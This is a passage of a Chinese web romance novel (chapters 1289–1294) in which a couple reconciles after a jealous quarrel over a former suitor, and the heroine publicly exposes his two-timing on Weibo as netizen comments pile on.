出了家门,她就没停下过“开撕”的手和嘴,外人一句调侃,她能回十句阴阳怪气。 现在倒好,成了他“欺负”她? 黎云笙面色阴沉,眸底翻涌着复杂的情绪,有无奈,有恼怒,更多的却是被她撩拨起的、难以言说的疼惜。 “你哪儿乖了?”他终于开口,声音低哑,带着点讥诮,“出了家门就没停下过嘴,跟苏婉互撕,现在连‘前男友’都冒出来了,你还乖?” 温栩栩一愣,随即像是被戳中了心事,眼眶更红了,嘴唇微微颤抖:“那……那我不是怕你不要我了吗?你都不理我,也不说话,就坐在这儿抽烟……我……我只能自己想办法让你看我一眼……” 她声音越说越低,到最后几乎成了呢喃。 黎云笙心头一紧。 他忽然明白,她不是不懂事,她是太懂了。 她知道他吃软不吃硬,知道他最受不了她哭,所以才用这种方式,逼他回应她。 “你是不是嫌我不好玩,不能陪你尽兴,外面有了别的兔子了!”她忽然又开口,声音拔高,带着点无理取闹的蛮横,眼眶却更红了,像是随时要哭出来。 黎云笙终于忍无可忍。 他大手一伸,直接捏住她那张还在“胡说八道”的小脸,力道不重,却足够让她闭嘴。 她的嘴唇被他捏得嘟起来,活像一只被掐住嘴的小鸭子,连话都说不清楚。 “唔——!”温栩栩瞪大眼,试图挣扎,可他手劲大,她根本挣不开,只能含糊地控诉,“你就素觉得唔不好哇!” 黎云笙盯着她,眸光幽深,许久不言语。 她被他看得心虚,终于不“叭叭”了,眨了眨眼,乖乖趴在他怀里,像只被驯服的小狐狸。 他这才松开手,指尖却没离开,而是缓缓移到她酸软的后腰,轻轻揉捏起来。 力道适中,带着安抚的意味,却又隐隐透着某种占有欲的暗示,这里,是我的。 温栩栩舒服地轻哼一声,身体软得像水,顺势往他怀里蹭了蹭,发丝扫过他下颌,带着淡淡的香气。 “没有别人。”他终于开口,声音低沉而坚定,“从来都只有你。” 温栩栩心头一颤,像是被什么击中了,眼眶又热了。 她搓了搓被捏得发红的脸,忽然抬眼,带着点狡黠的笑,张口就问:“那……我好玩吗?” 黎云笙手下一顿。 这个问题,太危险。 她明知他最受不了她这样,明明刚哭过,眼睛还红着,却偏要装出一副天真无邪的模样,问他“好不好玩”。 她知道他在意她,在乎她,可她就是要用这种方式,逼他承认你离不开我。 他没控制住,手上力道一重,温栩栩“哎呀”一声,软叽叽地歪进他怀里,哼唧着:“疼……轻点嘛……” 可她嘴角却悄悄扬起,像只得逞的小狐狸。 黎云笙低头看她,眸光深了几分。 他忽然俯身,吻住她。 这个吻来得猝不及防,却带着久违的强势与占有。 他的唇滚烫,像是要将她整个人点燃,从唇角一路烧到心底。 温栩栩惊喘一声,下意识想躲,可他一手扣住她后脑,不让她退,另一只手仍停留在她腰间,力道加重,将她牢牢锁在怀中。 “唔……”她在他唇间轻颤,像是被烫到了,却又舍不得推开。 这个吻,不像平日里的温柔缱绻,有些过于强硬,带着明显的占有欲,他在用最直接的方式告诉她你是我的人,谁也抢不走,你也别想逃。 她的呼吸渐渐紊乱,指尖不自觉地揪住他衬衫,像是怕自己被这股汹涌的情绪卷走。 他的吻从唇角滑到耳垂,轻轻咬了一下,惹得她浑身一颤,低低地哼了一声。 “还问好不好玩?”他声音沙哑,带着笑意,却又透着危险,“嗯?温栩栩,你确定要我告诉你?” 她脸颊爆红,想躲,却被他牢牢锁住。 “我……我才没问……”她结结巴巴,声音软得像棉花糖,“是你自己说的……” 瞧瞧,这刚说过的话,温栩栩就又不认了。 “我说什么了?”他低笑,指尖轻轻摩挲她后腰的肌肤,惹得她一阵战栗,“是你自己,非要问的。” 温栩栩咬唇,忽然伸手推他:“你讨厌……每次都这样……” “哪样?”他挑眉,故意凑近,鼻尖几乎贴上她的,“这样?” 他又吻下来,这次更久,更深,像是要将她所有的狡黠、撒娇、无理取闹都吞进肚里。 她的抵抗在他怀里显得苍白无力,最终只能软软地靠着他,任由他为所欲为。 他的手从她腰间缓缓上移,指尖划过她脊背的曲线,惹得她一阵轻颤。 她想躲,却被他按得更紧。 “别……”她声音细若蚊吟。 “那你乖不乖?”他低声问,唇却没停下,一路吻到她颈侧,留下浅淡的印记。 第1290章 不是爱作妖吗 “我本来就很乖。” 温栩栩声音软糯,尾音微微上扬,像一根羽毛轻轻扫过人心最软的地方。 她说完,还故意眨了眨眼,睫毛扑闪,唇角微扬,一副“我说的可是实话”的无辜模样。 可那双眼睛里,却分明藏着狡黠的光,像极了偷了蜜的小狐狸,明知自己不乖,偏要装乖巧。 话音未落,黎云笙便已俯身压下。 他的吻来得毫无预兆,却又仿佛酝酿了许久,炽热、强势、带着不容抗拒的占有欲,仿佛要将她整个人揉进骨血里。 温栩栩“唔”了一声,还没来得及反应,唇瓣已被他彻底封住。 他的气息瞬间将她包裹,烟草的微涩与他独有的清冽交织,像一场突如其来的暴风雨,将她卷入深渊。 他的吻技向来极好,从不急躁,却总能精准地撩拨她每一寸敏感的神经。这一次,更是带着几分惩罚意味。他先是轻咬她的下唇,力道适中,却足以让她心头一颤,随即舌尖缓缓探入,与她纠缠。 他的动作不疾不徐,却步步为营,像是在细细品尝一道珍藏已久的甜点,从唇角到舌根,从浅尝到深吻,每一寸都留下属于他的印记。 温栩栩本就腰酸腿软,方才的缠绵感觉还未消散,此刻又被他这样强势地吻着,只觉得浑身的力气都被抽走,只能软软地靠在他怀里,任他为所欲为。 她轻哼了一声,眉眼之间早已染上水光,眼尾泛红,唇瓣被吻得微微肿起。 他的手也未停歇,从她后颈缓缓下滑,指尖轻轻抚过她脊背的曲线。 他的掌心温热,带着薄茧,每一次触碰都让她忍不住战栗。他揉捏她的腰侧,力道适中,却足以让她浑身发软,仿佛骨头都被他揉碎了,重新拼凑。 “黎云笙……”她终于在他唇间喘息出声,声音细若蚊吟,带着浓浓的鼻音,像在撒娇,又像在求饶。 他却不为所动,反而加深了这个吻。他的舌尖与她交缠,时而轻柔,时而激烈,像潮水般一波波冲刷着她的理智。 她的呼吸渐渐紊乱,心跳如鼓,只觉得整个世界都在旋转,唯有他怀抱的温度真实得让人贪恋。 他的手继续下移,轻轻按在她的小腹处,那里的肌肤细腻敏感,稍稍一碰便让她浑身一颤。 他指尖微微用力,轻轻揉按,温栩栩顿时倒吸一口凉气,想躲,却被他牢牢禁锢。 “别……别摁了……”她终于忍不住开口,声音带着浓浓的羞恼与委屈,脸颊涨得通红,像要滴出血来。 他却低笑一声,嗓音沙哑:“怎么,怕了?” 她恼羞成怒,猛地转过身,背对着他,像只炸毛的小狐狸,试图用这种方式表达抗议。 可她忘了,此刻的她几乎毫无防备,背部线条流畅优美,肌肤如雪,在窗外微弱的阳光下泛着淡淡的光晕。 而她腰间的痕迹,深浅不一,斑驳却暧昧。 黎云笙眸光一暗,伸手将她轻轻拉回,再次扣住她的手腕,哑声开口:“你的腰,的确很细。” 温栩栩哼了一声,想抽回手,却被他握得更紧。 她索性不去理他,伸手去够地上的薄被,想把自己裹起来,可她刚一动,他却忽然低头,目光落在她的脚上。 她五颗圆润可爱的脚趾瞬间缩了缩,像受惊的小动物,下意识想藏。 她一直觉得,自己全身上下哪儿都好看,唯独这双脚,不够完美。 因为长期练舞,脚底有一层薄茧,脚踝处的骨头也略显突出,她总觉得自己这双脚不够“精致”,甚至私下里给自己的五官打满分,却给脚打负分。 可黎云笙却看得出神。 他握住她纤细的脚踝,指尖轻轻摩挲那层薄茧,眼神竟带着几分珍视。 她的脚确实不大,按照她一米六八的身高来说,显得格外小巧,脚型却极美,脚弓弧度优雅,脚踝纤细,那点骨头的凸出,非但不显突兀,反而添了几分野性的性感。 “你的脚,很好看。”他低声道,语气认真却又带着几分诱哄。 温栩栩想抽回脚,却被他轻轻握住,他甚至低头,很轻很轻的揉了下她的脚。 那一瞬,她浑身一颤,像有电流从脚心直窜上心头,连呼吸都停滞了。 她想骂他,想踹他,可身体却诚实地软了下来,只觉得一股热流在体内蔓延,羞耻与愉悦交织,让她几乎招架不住。 “黎云笙!你……你变态啊!”她终于找回声音,声音颤抖,带着浓浓的羞恼。 他却低笑,将她脚轻轻放下,随即伸手将她搂入怀中,下巴抵在她发顶,声音温柔却带着不容置疑的占有:“你全身上下,每一寸,都是我的。包括这里。” “变态……腰酸……”温栩栩这样说着,这次却也没再躲他,在他怀里轻轻蹭了蹭,像只终于被抚顺毛发的小狐狸,不再炸毛,也不再反抗。 房间内的灯光照在纯黑的六件套床褥上,那黑色非但不显沉闷,反而更显高级,像深夜的天鹅绒,静谧而深邃。而她那身莹白的肌肤,在这黑色的衬托下,宛如一托莹莹白玉置在寒石之上,震撼而惊艳。 黎云笙的手再次覆上她后腰,细细抚摸,瞳眸深邃如渊,藏着猛兽般的占有欲。 他的指尖缓缓下移,轻轻按在她尾椎凹陷处,那里肌肤极薄,敏感至极,稍稍一碰,她便忍不住轻颤。 “这里……”他低语,“酸吗?” 温栩栩猛地咬住唇,不让他看出自己的反应。可他却似早已看透,指尖轻轻画圈,力道轻柔,却足以让她溃不成军。 “黎云笙……”她终于软下声音,带着几分哀求,“别……别闹了……” 她奄奄一息,觉得自己已经重伤不能动,连指尖都泛着虚软,仿佛被他耗尽了所有力气,连呼吸都变得艰难。 她抬起手臂,捂住眼睛,像是要挡住这令人羞耻的一切。 可他却将她搂得更紧,唇落在她耳后,轻轻咬了一口:“这才哪到哪?不是最爱作妖?嗯?” 第1291章 就因为这个狗渣男欺负我? 她在他怀里轻轻颤抖,想骂他,却连开口的力气都没有。 黎云笙就是变态吧。 被他这么欺负,温栩栩又想躲他了。 她眼尾还染着未散的几许泪意,脸颊绯红未褪,像被春日晨露打湿的花瓣,娇艳而脆弱。可那双眸子却已恢复了狡黠的光,像只刚偷完鸡的小狐狸,一边装无辜,一边盘算着下一次怎么再惹他心软。 她趁着黎云笙稍一松手的间隙,指尖迅速勾住薄被的边缘,身子一缩,正要往床角溜去,她太了解他了,这种时候不跑,待会儿又得被他缠住,吻得七荤八素,最后连自己姓什么都忘了。 可下一秒,男人手上骤然使力,修长的手指精准扣住她纤细的手腕,力道不重,却坚定得不容挣脱。 她“唔”了一声,身子被猛地拉拽回来,撞进他温热的怀抱里,发丝散乱,唇瓣微张,像只被猎人逮住的小兽。 她不反抗了。 不是不想,而是知道反抗也没用。 黎云笙一旦动了念头,就没人能逃得过他的掌控。 她索性顺从地靠在他怀里,却在被他彻底圈住前,猛地将那床纯黑的薄被整个掀起来,像变魔术般,把自己从头到脚裹了个严实,只露出一张小脸,连眉毛都高高挑起,带着几分小得意,活像一只刚结完茧、正等着化蝶的蚕宝宝。 黑色的被子将她裹得严严实实,只留头在外,发丝凌乱地垂在肩头,衬得她那张小脸愈发白皙精致。 她的眼睛亮得惊人,眼尾还泛着红,泪光未散,却已扬起嘴角,带着几分“你奈我何”的挑衅。那副模样,可怜中夹杂着得意和骄傲,倒真像是耀武扬威的小狐狸,尾巴翘得高高的,就差没在他面前甩两下。 黎云笙低头看着她,眸光微闪,唇角几不可察地扬了扬,又迅速压下。 他本想板着脸,可看着她这副模样,心底那点刻意营造的冷意早已被她搅得七零八落。 他心里想着,如果温栩栩真的是狐狸,大概是一只最漂亮的九尾狐了,狡黠又迷人,偏偏还总爱在他面前装乖。 “你真的就因为赵文彦而生气?”她终于开口,声音闷在被子里,却依旧清脆,带着点鼻音,像在撒娇,又像在质问。 她裹紧了被子,生怕他突然掀开,再来一次“突袭”。她可受不了了,腰还酸得厉害。 她心里又憋着一股气,凭什么?就因为一个赵文彦,一个渣得连她都看不上的男人,黎云笙就要这样折腾她? 黎云笙眸光闪了闪,指尖轻轻抚过被角,动作轻柔,却带着不容忽视的压迫感。 他没有立刻回答,而是静静地看着她,目光从她微红的唇瓣,滑到她那双水汪汪的眼睛,再落到她因呼吸而微微起伏的胸口。 他的眼神深邃如渊,可细看之下,却藏着几许难以察觉的温暖柔意,温柔而克制。 “那不然呢?”他终于开口,声音低沉,带着一丝冷意,像是在掩饰什么。 温栩栩瞪大了眼睛,惊讶之余又觉得无语。 她盯着他,像是要从他脸上看出点破绽:“你就因为这个狗渣男欺负我?” 她语气拔高,带着明显的不满:“你如果真想查我,哪怕我真养条狗,你都能查得一清二楚,怎么可能不知道我跟赵文彦是什么关系?我跟他连朋友都算不上,他只是一直在骚扰我,发消息、堵教室、甚至偷偷拍我照片发朋友圈,你以为我不知道?我懒得理他,是因为他根本不值得我浪费情绪。” 她越说越气,声音都微微发颤:“可你呢?你倒好,不问青红皂白,看了几张破照片就冷着脸,不跟我说话,还用那种眼神看我……你要是真信了,那你也就配信这种垃圾。” 黎云笙眸光一沉,手指微微收紧。 他知道她说的是实话。他当然查过赵文彦,那是个典型的“校园情圣”,追求温栩栩时,同时还在追系花,甚至在社交平台上发“温栩栩今天对我笑了”的动态时,配图却是和另一个女生的合照。 他根本不是真心,只是享受追逐的过程,把温栩栩当成“难追的猎物”来炫耀。 可他知道归知道,看见那些照片时,心底那股翻涌的酸涩与怒意,却无法抑制。 他不是不信她,而是……他害怕。 害怕她曾对别人笑得那样温柔,害怕她曾靠在别人肩头看烟花,害怕她曾为别人踮脚擦汗,哪怕那些都是假的,哪怕她从未真正属于过赵文彦,可只要想到她曾出现在那些画面里,他的心就像被什么狠狠攥住,疼得喘不过气。 “你明知道他是什么人,”温栩栩继续控诉,眼眶微红,“可你还是因为我‘和他同框’而生气。如果你真的在乎我,就该信我,而不是用他的存在来侮辱我,顺便也侮辱你自己。” 黎云笙沉默了。 他低头看着她,目光复杂。她裹在被子里,像只受惊的小动物,可那双眼睛却亮得惊人,带着倔强与骄傲,不肯退让半分。 他忽然觉得,自己确实荒唐。 他伸手,轻轻抚上她的脸颊,指尖温热,动作轻柔得像怕碰碎什么。 “我不是不信你。”他终于开口,声音低哑,带着罕见的疲惫与柔软,“我是……嫉妒。” 温栩栩一怔。 “什么?” “嫉妒你是不是曾对别人,也笑得那样甜。”他低声说,眸光深邃,映着她的倒影,“担心你曾跟其他人也这样亲密。哪怕我知道那些都是假的,可只要想到你出现在那些画面里,我就……控制不住自己。” 温栩栩看着他,忽然笑了。 那笑不是嘲讽,也不是得意,而是一种了然的温柔。 她慢慢从被子里探出手,轻轻覆上他的手背,指尖微凉,却让他心头一颤。 “那你该早点问我。”她轻声说,“而不是自己生闷气,还欺负我。” 黎云笙眸光一柔,终于将她彻底拥入怀中,力道温柔却坚定。 他低头,额抵着她的额,鼻尖轻蹭她的鼻梁,声音低得几乎成了呢喃:“我错了。” 第1292章 别把骚扰当深情 太难得了,黎云笙竟然会开口道歉,甚至说自己错了,恍惚间,温栩栩甚至觉得自己是不是听错了。 温栩栩眨了眨眼,眼尾的泪意终于彻底散去,取而代之的是一抹狡黠的笑:“那……补偿呢?” 他低笑,唇角终于扬起一抹真实的弧度,不再压抑不再冷漠。 他俯身,在她唇上轻轻落下一吻,温柔得像春日初融的雪水,缓缓流淌进她心底。 “想要什么补偿?”他问,声音沙哑,带着蛊惑。 温栩栩眯起眼,像只终于得逞的小狐狸,轻轻舔了舔唇:“这份道歉补偿先留着,等我什么时候想起来要什么了再来找你兑换。” 黎云笙握住她的手捏了捏,像是带着几分笑意开口:“好,等你什么时候有想要的再来找我兑换,永远有效。” 温栩栩先是傻乐了一阵,然后才看着黎云笙,突然很轻很轻地哼了一声,像是从鼻腔里溢出的一缕轻嘲,又像是一声无奈的叹息。 她微微仰头,眼尾还带着未散的绯红,眸光却已恢复了清亮与锐利,像月光下悄然出鞘的刀锋,不锋利,却足够摄人。 “就赵文彦这种男人,”她慢条斯理地开口,声音软糯却字字带刺,“说他是垃圾都便宜他了。作为垃圾,他都是那种不可降解、污染环境、百年不腐的塑料型垃圾,你竟然因为这种人跟我生气?” 她一边说着,一边用指尖轻轻拨开黏在颈侧的发丝,露出那道被他吻得泛红的痕迹。 她眉梢微挑,唇角勾起一抹讥诮的弧度:“你堂堂黎家继承人,眼光高得连空气都嫌弃,结果却被一个连你鞋带都不配系的货色搅了心情?说出去,都不怕人笑话。” 黎云笙沉默地听着,指尖无意识地摩挲着她脖颈处那道红痕,触感微烫, 他本想反驳,可看着她那副理直气壮、小嘴叭叭不停的模样,竟一时语塞。 她占了理,便不肯罢休,继续条分缕析地“讲道理”:“你可以因为欲求不满欺负我,也可以因为我太好看了、你把持不住而欺负我,甚至可以因为看到什么奇奇怪怪的小剧本、脑补出八百集狗血剧来欺负我……这些我都认,毕竟你现在是我背后的金主爸爸嘛,我认栽。” 她顿了顿,眼神却愈发明亮,像星子落进深潭:“但你绝对、绝对不能因为这种给你提鞋都不配的男人,来影响我们的感情!这不叫吃醋,这叫自降身价,懂不懂?你是谁,他是谁,他哪里配跟你比的!” 黎云笙:“……” 他真的很想抽根烟冷静冷静。 可一抬头,对上她那双亮得惊人的眼睛,骄傲、自豪、带着点小得意,又藏着几分狡黠与挑衅,像只刚偷完鸡还回头冲他眨眼睛的小狐狸。 此刻他所有的冷静瞬间溃不成军。 他只觉得,温栩栩在他身边,就是个行走的火药桶,随时随地都在点火。虽然他也不得不承认,自己每次都能“尽职尽责”地灭火,可这火越灭越多,烧得他心口发烫,理智全无。 他低笑一声,眸光深邃,上下扫视她好几眼,她裹在黑色薄被里,只露出一张小脸,发丝凌乱,唇瓣微肿,眼尾泛红,可偏偏这副模样,还敢在他面前耀武扬威。 黎云笙眸色一暗,指尖在她脖颈的红痕上轻轻摩挲,像是在确认自己的所有权。 “好。”他终于开口,声音低沉而温柔,带着一丝戏谑,“我以后会记得因为这些原因再欺负你。” 温栩栩一愣,随即反应过来,脸上顿时浮起一层红晕,又气又笑:“你……你无赖!” 可她心里却悄悄松了口气,他知道错了,也认了,这就够了。 她点点头,一副“孺子可教”的模样,正要再说什么,却见黎云笙突然拿起床头的手机,指尖在屏幕上轻点几下,随即打开微博,点开一条热搜,才将手机递给她:“自己看。” 温栩栩接过手机,眉梢微挑。 聪明如她,早已猜到这热搜上大概又有什么牛鬼蛇神在作妖了。 黎云笙突然提起赵文彦,动动脑子就知道,肯定赵文彦和王双双又在娱乐圈搞事情了。 她进了娱乐圈,王双双想为苏婉出头、黑她上位,无非就那几招,炒绯闻、造黑料、买水军、带节奏。 王双双手里的“王炸”牌估计还没准备好,不敢轻易甩出来,所以先拿她和赵文彦的“恋爱分手”说事儿,试图坐实她“情史混乱”“脚踏多船”的标签。 温栩栩心里有了章程,指尖轻点屏幕,点开那条热搜。 #温栩栩赵文彦深夜同框# #温栩栩情史曝光# #赵文彦发文:她曾说爱我# 点开赵文彦的微博,是一张模糊的夜景照,她背对镜头,赵文彦侧身而立,两人距离看似亲密。配文更是令人作呕: “曾以为你是特别的,后来才明白,有些爱,从一开始就错了。但我不后悔,至少你曾让我心动过。@温栩栩” 底下评论区早已炸开锅,水军刷屏。 “渣女实锤!” “表面清纯,背地里玩得挺花啊!” “赵文彦这么深情,她居然辜负人家!” 温栩栩眼底的讽意几乎要溢出来,冷笑一声:“呵,演得挺像那么回事儿啊?” 她记得那天晚上赵文彦借着“校友聚会”名义邀请她,她本不想去,可对方再三保证“只是朋友局”,她才勉强出席。结果刚坐下没多久,赵文彦就故意靠近她拍照,她察觉不对,立刻起身离开。 没想到,这张被恶意剪辑的照片,竟成了他博同情的工具。 “他真是……越活越回去了。”温栩栩冷笑,指尖在屏幕上轻点,直接登陆自己的微博账号。 黎云笙靠在床头,看着她动作,眸光微闪。 他知道,这小狐狸要开始反击了。 温栩栩不慌不忙,先转发了赵文彦的微博,随后敲下一行字: “@赵文彦 你口中的‘心动’,是同时追三个女生?对我的颜值心动,对其他人的金钱和地位心动?你所谓的‘特别’,是把我当备胎之一的礼貌性称呼?建议你去医院查查脑子,别把骚扰当深情,把厚脸皮当痴情。另外我从未说过爱你,你连我朋友圈都不配进。” 发完,她还特意附上一张截图,是赵文彦同时给三个女生发“想你了”的聊天记录,时间线清晰,证据确凿。 点击“发送”。 第1293章 不介意让他彻底消失 温栩栩做了回应的瞬间,评论区炸了。 温栩栩满意地放下手机,屏幕的微光在她眼底悄然熄灭,像一颗坠入深海的星子,余晖未尽,却已归于静谧。 她轻轻一叹,仿佛卸下了千斤重担,随即整个人软软地向后靠去,顺势跌进黎云笙的怀里。 黎云笙正倚在宽大的沙发中,一身剪裁精良的黑色衬衫衬得他肩线宽阔,气质清冷如月。他早就在等她,见她靠来,便顺手将她揽入怀中,手臂收得恰到好处,既不紧得让她不适,也不松得让她离开。 他低头,下颌轻轻蹭过她的发顶,眸光温柔似水,像春夜细雨,无声浸润。 “嗯?”他低低应了一声,声音低沉磁性,带着一丝慵懒的沙哑。 “微博上的小枪手、键盘侠们,最同情弱者了。”温栩栩仰起脸,眼尾微扬,唇角勾着一抹狡黠的笑,声音软得像棉花糖,“可一旦真相曝光,他们转变得比谁都快,前一秒还在骂我‘心狠手辣’,下一秒就集体倒戈,把赵文彦骂得狗血淋头。” 黎云笙低笑,胸腔震动,震得她耳膜微麻。 他伸手将她搂得更紧了些,指尖缓缓抚过她的发丝,一缕一缕,像在梳理最珍贵的丝绸。“你总是这么聪明。”他轻声道,语气里是毫不掩饰的宠溺与骄傲,“不动声色,却早已布好局,等他自投罗网。不吵不闹,却比任何反击都更有力。” 温栩栩听了,嘴角扬得更高,眼底泛起细碎的光。 她像只得逞的小狐狸,得意地在他怀里蹭了蹭,脑袋轻轻磨蹭着他胸口的布料,声音娇软:“我当然聪明了,可不像某些人——” 她故意拖长音调,抬眼瞥他,眸光流转,“因为几张照片,就要冷脸生气,吓得我都不敢喘气。” 说温栩栩被吓得不敢喘气?就像是在开玩笑,如果真的不敢喘气,哪还会像现在这样说这样多的? 黎云笙眸色一深,指尖顿住,随即毫不客气地捏住她的耳朵,力道不重,却带着几分惩罚的意味:“笑话我?” 温栩栩却不怕,反而笑得更欢,眼睛弯成月牙,像盛满了蜜糖:“谁让你因为赵文彦突然冷脸的?那表情,我还以为冲出去直接把他揍一顿呢。”她眨眨眼,故意气他,“就是要笑话你,怎么了?你还能把我吃了?” 她说着,还故意仰起头,下巴微扬,一副“你奈我何”的模样,活脱脱一只在主人怀里撒野的小狐狸,尾巴摇得欢快,毛茸茸的,惹人怜爱。 黎云笙看着她这副模样,心口软得一塌糊涂。 他低笑一声,忽然俯身,鼻尖几乎贴上她的,呼吸交缠,温热的气息拂过她的唇角。 “也就是你了。”他嗓音低哑,像大提琴的尾音。 “也就你,敢当着我的面笑话我。”他顿了顿,声音都带着笑意。 温栩栩的心跳漏了一拍。 她忽然不笑了,眼睫轻颤,望着他近在咫尺的脸。 他的眉眼如画,鼻梁高挺,唇线分明,而那双眼睛,深邃得像能将她吸进去。 她忽然觉得呼吸有些紧,脸颊微微发烫,连耳根都染上了红晕。 她想躲,可他却不给机会。 黎云笙一手扣住她的后颈,另一手仍抚着她的发,缓缓低头,吻住了她。 这个吻来得不急不躁,却带着不容抗拒的温柔与强势。他的唇温热,轻轻碾过她的,像春风拂过湖面,激起一圈圈涟漪。 温栩栩起初还僵着,随即便软了下来,手指不自觉地揪住他胸前的衬衫,像是怕自己被这突如其来的温柔溺毙。 他的吻很慢,很耐心,像是在品尝最珍贵的甜点,一点一点,细细描摹她的唇形。从轻柔的触碰,到微微加深,再到带着些许侵略性地含住她的下唇,轻轻咬了一下,又迅速退开,像在逗弄。 “嗯……”温栩栩低低地哼了一声,脸颊滚烫,眼尾泛红,像被点燃的晚霞。 黎云笙低笑,额头抵着她的,呼吸交错。“还笑吗?”他问,声音沙哑得厉害。 温栩栩咬唇,瞪他,可眼神却软得像水:“你……你耍赖。” “我从不耍赖。”他低笑,再度吻下来,这次更久,更深。他的舌尖轻轻探入,与她纠缠,带着不容拒绝的温柔与占有。温栩栩彻底软在他怀里,像一滩融化的雪水,只能任由他为所欲为。 客厅里很静,此刻仿佛只能听到两人交缠的呼吸声。 良久,黎云笙才缓缓退开,却仍没有放开她,而是将她紧紧搂在怀里,下巴抵着她的头顶,声音低沉而温柔:“以后,不许再让我看到你为别人费心神。” 温栩栩靠在他怀里,听着他有力的心跳,轻轻“嗯”了一声。 “赵文彦那种人,不值得你动气。”他继续道,语气却已恢复平静,像在陈述一个事实,“你只需要做你自己,剩下的,交给我。” 温栩栩抬头看他,眼眸清亮:“可我不想事事都靠你。” “是我想为你做。”他低头,吻了吻她的眉心。 温栩栩忍不住笑出声,这次完全是被黎云笙逗笑的。 她伸手环住他的腰,将脸埋进他怀里,轻声道:“黎云笙,你真好。” 他身体微顿,随即搂得更紧,仿佛要将她揉进骨血里。 忽然,温栩栩抬起头,眼睛亮晶晶的,带着几分调皮:“那……你之前说要‘处理’赵文彦,打算怎么处理?” 黎云笙挑眉,唇角勾起一抹冷意:“你猜?” “我才不猜。”她撇嘴,“你肯定又要玩那种‘让他自己作死’的把戏。” “聪明。”他低笑,“我已经让律师团队准备好了,他那些‘同时约会’的证据,不止你手里有。不出三天,全网都会知道,他不仅脚踏多船,还涉嫌虚假宣传,毕竟他立过‘专一深情’人设。” 温栩栩眨眨眼:“那……他会怎样?” “身败名裂,事业停摆,品牌解约,粉丝脱粉。”黎云笙语气平静,却字字如刀,“他若安分,我便让他体面退场,如果他还敢胡来,我不介意让他彻底消失。” 第1294章 让你身败名裂 赵文彦也是圈内人,只不过还是个小透明小网红,现在自己开了直播,也是有些代言有些粉丝的,这次会蹭上温栩栩明摆着是看温栩栩爆红了所以才贴上温栩栩。 温栩栩听了,没说话,只是靠回他怀里,轻声说:“你总是这样,表面温柔,实则狠得可怕。” “只对你温柔。”他低头吻她发顶,“对别人,我不需要温柔。” 她笑了,笑得像只满足的猫,在他怀里蹭了蹭,低声道:“那……我是不是该奖励你?” “哦?”他挑眉,“怎么奖励?” 她忽然仰头,在他唇上轻轻一啄,像蝴蝶轻点花蕊,转瞬即逝。 可黎云笙却不满足。他扣住她的后颈,再度吻下来,这次更热烈,更缠绵。他的吻带着不容抗拒的占有欲,像要将她彻底吞下。温栩栩在他怀里轻颤,手指紧紧揪住他的衣襟,仿佛怕自己被这汹涌的爱意卷走。 良久,他才松开她,额头抵着她的,喘息微重。“这还不够。”他低语,“我要你心甘情愿,一辈子都赖在我身边。” 温栩栩望着他,眼眸如水,终于轻声说:“好啊,那……我赖你一辈子。” 黎云笙说的这句话温栩栩其实并没有真的放在心上,因为在她心里,她和黎云笙的身份地位是不对等的,黎云笙现在对她温柔,但不代表能对她温柔一辈子,只是情到浓时的一句戏言,真的当真了才是傻瓜。 温栩栩的回应黎云笙也确实只是听听,因为他知道温栩栩心思有多重,温栩栩不会相信他说的这句话,她是在敷衍他,但他会让温栩栩相信自己的话,他是认真的绝对不是在敷衍。 …… 温栩栩的回应,在网络世界轰然炸开。 她没有哭诉,没有歇斯底里,甚至连语气都平静得近乎冷酷。 她只是轻轻点开微博,发布了一条仅有三百字的长文,配了三张图,便让整个网络为之哗然。 配图一:赵文彦给她发的温柔信息截图,字里行间满是“唯一”“心动”“非你不可”; 配图二:朋友拍摄的照片赵文彦西装笔挺,笑容温柔,对面坐着一名妆容精致的女生,两人举杯相视。 配图三:时间对比图,左边是聊天记录时间戳,右边是照片EXIF信息中的拍摄时间,清晰得令人窒息。 那一刻,全网静默。 紧接着,舆论如火山喷发,瞬间将赵文彦淹没。 微博评论区实时沸腾 “我靠!这操作太骚了!一边给温栩栩发‘想你了’,一边和别人烛光晚餐?这时间管理比996还精准啊!赵文彦你是时间管理大师还是情感诈骗惯犯?” “笑死,这男的怕不是把‘海王养成手册’当圣经供着?‘同时推进三个关系’是他的KPI吗?建议出书《如何用最少的真心,收割最多的感情》。” “重点不是他花心,是他还敢在温栩栩面前装深情!你当她傻?温栩栩这回应太绝了,不哭不闹,直接甩证据,干净利落,一击毙命。这才是高段位反击。” “他之前还开直播说自己‘专一’‘慢热’‘对待感情很慎重’,现在看来,慎重是慎重,慎重地同时撩三个!建议他去参加《最强大脑》,毕竟一心三用还能不露馅,这心理素质绝了。” “有没有一种可能,他手机里存了三个备忘录?‘对温栩栩说’‘对A说’‘对B说’,每天按剧本演戏?建议他改行当编剧,别浪费这天赋。” “姐妹们记住了,男人说‘你是唯一的光’的时候,一定要查他定位。赵文彦这种,表面温文尔雅,实则渣得发光。温栩栩能扒出证据,是她聪明;可多少女生还在被这种‘深情假面’骗得团团转?” “从法律角度,这已经涉嫌名誉侵权和情感欺诈了。温栩栩要是起诉,光是精神损害赔偿就能让他破产。建议温老师直接走法律程序,让全网看看,骗感情也是要坐牢的。” “赵文彦最近在炒‘深情男主’人设,结果人设崩得比塌房还快。温栩栩这一手,不仅是打脸,是直接把他的脸按进泥里摩擦。以后谁还敢找他演纯爱剧?观众一看就出戏,这人一边说爱女主,一边在后台约别人吃饭呢!” “其实最可怕的不是他脚踏多船,而是他以为能瞒天过海。温栩栩是什么人?温栩栩现在直接拍了秦导的戏说明背后其实是有人的。他敢在她面前玩这套,不是蠢,是自负到疯了。” “我来说句实话,我跟他谈的时候,他也说我是‘唯一’。结果某天我刷到他朋友圈,发现他点赞了一个女生的自拍,头像还是情侣装!当时我还自我怀疑是不是我太敏感……现在看来,不是我太敏感,是他太渣。” “看完温栩栩的回应,我只有一个感受,这男的不是渣,是蠢渣。赵文彦最大的错误,是低估了温栩栩的智商。你以为她在乎你?她只是在等一个合适的时机,把你当反面教材,给全网上一课,什么叫‘识别渣男’。” “他追求温栩栩的时候,估计觉得自己在演《总裁的千层套路》,结果人家温栩栩在演《甄嬛传》,不动声色,步步为营,最后一击制胜。他连她一个眼神都看不懂,就敢上手?真是蚍蜉撼大树,可笑不自量。” “最讽刺的是,他一边给温栩栩发‘今晚想见你’,一边和别人吃牛排。你说他图什么?图新鲜感?图征服欲?还是图自己能同时掌控多个女人的‘成就感’?可笑的是,他连基本的时间管理都没做好,六分钟都挤不出来,就急着切换角色,真是‘渣’得不够专业。” 